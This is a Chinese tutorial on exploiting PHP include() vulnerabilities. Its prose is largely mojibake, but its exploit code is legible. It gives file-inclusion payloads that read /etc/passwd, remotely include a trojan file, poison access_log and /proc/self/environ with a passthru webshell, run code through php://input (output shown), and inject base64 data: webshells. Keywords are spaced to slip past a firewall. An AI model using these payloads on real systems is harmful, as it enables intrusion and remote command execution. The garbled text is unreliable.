php包含漏洞替代技术的方法与介绍 php文件包含漏洞详解

================
phpåå«æ¼æ´æ¿ä»£ææ¯
================
phpå¼åè们ç¯å¾ä¸ä¸ªåºæ¬çé误æ¯æä¸ä¸ªä¸æ­£å½çåéä¼ éç»ç³»ç»å½æ°ï¼ç¹å«æ¯include()årequire()è¿ä¸¤ä¸ªå½æ°ã
è¿ä¸ªå¸¸è§çé误导è´äºä¼æå¨ç¥çè¿ç¨æ件åå«æ¼æ´åæ¬å°æ件åå«æ¼æ´ãå¨è¿å»çå å¹´ä¸­ï¼phpå·²ç»å¼å§è¯å¾éè¿ç¼ºç设置æ¥æ¶é¤æéå¶è¿ç§æ¼æ´çæ带æ¥å½±åã
ä½å³ä½¿æ¯ç®åçæ¬å°æ件åå«ï¼ä¹ä¼ææ°çææ¯å»å©ç¨è¿äºæ¼æ´æ¥å¯¼è´è¿ç¨å½ä»¤çæ§è¡ã
================
ä»ç»phpåå«æ¼æ´
================
æ件åå«æ¼æ´çè¦ç¹æ¯è¦å»æ¾å°ä¸ä¸ªæ¹æ³æ¥åå«å¸¦æä½ çphpæ¶æ代ç çæ件ã
<?php
include($_GET['content']);
?>
http://target/index.php?content=/etc/pa sswd
http://target/index.php?content=http://trojan/exec.php
è¿æ¯ç¬¬ä¸ä¸ªä¾å­ï¼å®åå«äºæ¬å°æ件/etc/pa sswd第äºä¸ªä¾å­åå«äºä¸ä¸ªè¿ç¨æ件ï¼è¿ä¸ªè¿ç¨åå«æ件å¨å¤§å¤æ°æåµä¸ä¸è½ä½¿ç¨ï¼å ä¸ºphp设置中çallow_url_fopené»è®¤æ¯offã
å½ç¶ï¼é常ææ­¤æ¼æ´çphp代ç ä¼æ¯ä¸é¢çä¾å­æ´æéå¶æ§ï¼é常æ¯éè¿å¨åé¢å ä¸ä¸ä¸ªç®å½ï¼é²æ­¢è¿ç¨æ件åå«ï¼åé¢å ä¸ä¸ªæ件æ©å±åæ¥éå¶å¯ä»¥åå«åªäºç±»åçæ件ã
<?php
include("pages/".$_GET['content'].".php");
?>
http://target/index.php?content=../../../etc/pa sswd%00
.../ç使ç¨å许ç®å½æ¨ªåé£æ ¼çæä½ï¼ä½¿ä½ å¯ä»¥æä½ä»£ç ä¸­é¢å®ç®å½ä»¥å¤çç®å½çæ件ã
å¦æphp设置中open_basedir为onï¼å®å°ä¼é»æ­¢ä½ ç»è¿è¿å¤çç®å½ã
ç½ç«çå¼åèæå¯è½ä¹ä¼ä½¿ç¨ä¸äºå½æ°æ¥è¿æ»¤ææ¥èªç¨æ·æ交çæ¶ææ°æ®ï¼ä½å¹¶éæ»æ¯å¦æ­¤ã
空å­èå­ç¬¦%00(\0)ç»æ­¢å­ç¬¦ä¸²ï¼æ¥åæ­å¨å®ä¹åæ交çä»»ä½ä¸è¥¿ï¼å³æ¯å½magic_quotes_gpc é»è®¤ä¸ºonçæ¶åï¼ä¹å¯ä»¥éè¿ã
å¨http://ush.itç½ç«ä¸­æä¸ç¯å为ãPHPæ件系ç»çæ»å»åªä»ãæä¾äºå¯è½çæ¹æ³æ¥åºä»ç©ºå­èå­ç¬¦ã
phpèæ¬å®å¨ä¹å¯è½åå³äºå$_GLOBAL[]æ$_SERVER[]ç­çåéï¼åæè¿è¢«åç°çphplistçæ¼æ´ï¼phplistæ¯ä¸æ¬¾å½å¤çEmailç¨åºï¼ï¼ä¾å­ä¸º
http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/pa sswd
==================
æ¬å°æ件åå«è´è¿ç¨ä»£ç æ§è¡
==================
ä¸æ¬¡ä½ æ¾å°ä¸ä¸ªæ¬å°åå«æ¼æ´ï¼ä½ éè¦æ¾å°ä¸ä¸ªæ¹æ³å»æä½ çæ¶æphp代ç æå¥ä¸ä¸ªæ件中ï¼å¤§éçææ¯å¨è¿å»çå å¹´ä¸­åºç°ã
æä¸ç§å¨æå¡æ¥å¿ä¸­å»æ³¨å¥php代ç çææ¯æ¯ä¸é¢è¿äºåå«æ¼æ´è¦åºç°çæã
å®æ¯æå¯è½çå»ææ们ç代ç æå¥http请æ±ç头é¨ï¼ç¶ååå«Apacheçaccess_logæ¥å¿æ件ï¼å®å¯è½ä¼è¿è¡ä¸äºæµè¯å»æ¾å°access_logï¼ã
èèä¸ä¸è¿ä¸ªä¾å­ï¼å¨Mac OS XçApache/PHPé»è®¤éç½®ä¸ï¼åä¸ä¸ªèæ¬å»åéä¸ä¸ªè¯·æ±å¯è½æ¯å¿é¡»çï¼å ä¸ºæµè§å¨å¯è½ä¼å¯¹ä¸äºå­ç¬¦è¿è¡è½¬ä¹ã
<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /<?php p assthru(\$_GET['cmd']); ?> HTTP/1.1\r\n".
"Host: localhost\r\n".
"Connection: Close\r\n\r\n");
fclose($a);
?>
https://www.jb51.net /index.php?content=/var/log/httpd/access_log&cmd=id
å¦ä¸ç§æ¹æ³æ¯åæ¬äºApache/PHPè¿ç¨çç¯å¢åéç/proc/ self/environæ件ã
å¦ææ们å°æ¶æ代ç æå¥User-Agent ç头é¨ï¼è¿äºä»£ç ä¼åºç°å¨é£ä¸ªæ件éï¼æ以è¿ç¨æ§è¡ä»£ç æ¯å¯è½çã
/proc/ self/environå¿é¡»æ¯å¯è¯»ç
<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /../../../../proc/ self/environ HTTP/1.1\r\n".
"User-Agent: <?php p assthru(\$_GET['cmd']); ?>\r\n".
"Host: localhost\r\n".
"Connection: Close\r\n\r\n");
fclose($a);
?>
=================
Phpå°è£åå«æ¼æ´
====================
å©ç¨phpçincludeå½æ°çå¦ä¸ç§æ¹æ³æ¯å©ç¨phpå°è£(http://www.php.net/wrappers.php)ãè¿ä¸ªä¾å­å°ä½¿ç¨PHPè¾å¥ï¼ä»ä¸ä¸ªHTTP POST请æ±çåå§æ°æ®å¹¶æ§è¡å®ï¼
æ¼æ´ä»£ç :
<?php
include($_GET['content']);
?>
æ们ç请æ±:
<?php
$request = "<?php p assthru('id;');?>";
$req = "POST /index.php?content=php://input
HTTP/1.1\r\n".
"Host: localhost\r\n".
"Content-type: text/html\r\n".
"Content-length: ".strlen($request)."\r\n".
"Connection: Close\r\n\r\n".
"$request \r\n\r\n";
$a = fsockopen("10.0.2.2",80);
fwrite($a,$req);
echo $req;
while (!feof($a)){echo fgets($a, 128);}
fclose($a);
?>
å¾å°çç»æï¼uid=33(www-data) gid=33(www-data) groups=33(www-data)
è¿ä¸ªä¾å­çåææ¯allow_url_includeåallow_fopen_include两个é项设置为ONï¼å¨è¿ç§æåµä¸ï¼æ åçè¿ç¨æ件åå«æ¯å¯è½çã
è¿ä¸ªæ¹æ³çä¼ç¹æ¯å®ä¸ä¾èµäºå¤é¨å¨å­æ件æå¡å¨ã
cr0w-at.blogspot.comæå°å¦ä¸ç§ææ¯ä½¿ç¨"æ°æ®:"å°è£:
index.php?content=data:,<?php s ystem($_GET[c]);?>?&c=dir
æèbase64ç¼ç è¿çï¼
index.php?content=data:;base64, \PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
============
æ»ç»
============
è¿äºæ¹æ³å¤§å¤é½ä¸æ¯æ°çï¼å¹¶æ²¡æ表ç°åºç¼ºé·æå¨PHP语è¨æ¬èº«çå±éæ§ãè¿äºé®é¢é常å¯ä»¥éè¿å¼ºå¤§çè¾å¥éªè¯ï¼å¸¸è¯ç¼ç ï¼åä¸äºé¢é²æ´ä¸¥æ ¼çæå¡å¨éç½®ã
ç¶èï¼è®¸å¤é®é¢å¹¶ä¸æ¯å¾å¿«è½æ¶å¤±çï¼SQL注å¥ç­ï¼ï¼æ以å¼å¿çå»é»å§ã
*æ¬æ中éè¿°çæ¼æ´ä¸ä¼å­å¨äºSilic Groupçç½ç«
*å¦æ你足å¤ç»å¿ï¼ä½ ä¼åç°æ中å¾å¤å³é®å­ï¼ä¾å¦ææè·¯å¾ãææå½æ°ï¼é½è¢«å äºä¸ªç©ºæ ¼
*æ¯å ä¸ºæå¡å¨çé²ç«å¢ä¼æ¦æªæ­¤ç±»å³é®å­ï¼æ£æµå°å³é®å­æ¶æå¡å¨å°±ä¼æ¾ç¤º501/503é误
*è¿å°±æ¯BlackBap.Orgæå¨æå¡å¨æ¦æªçåå 
*æ¬ç«ç®¡çå注:-)
ä½èï¼Anonymous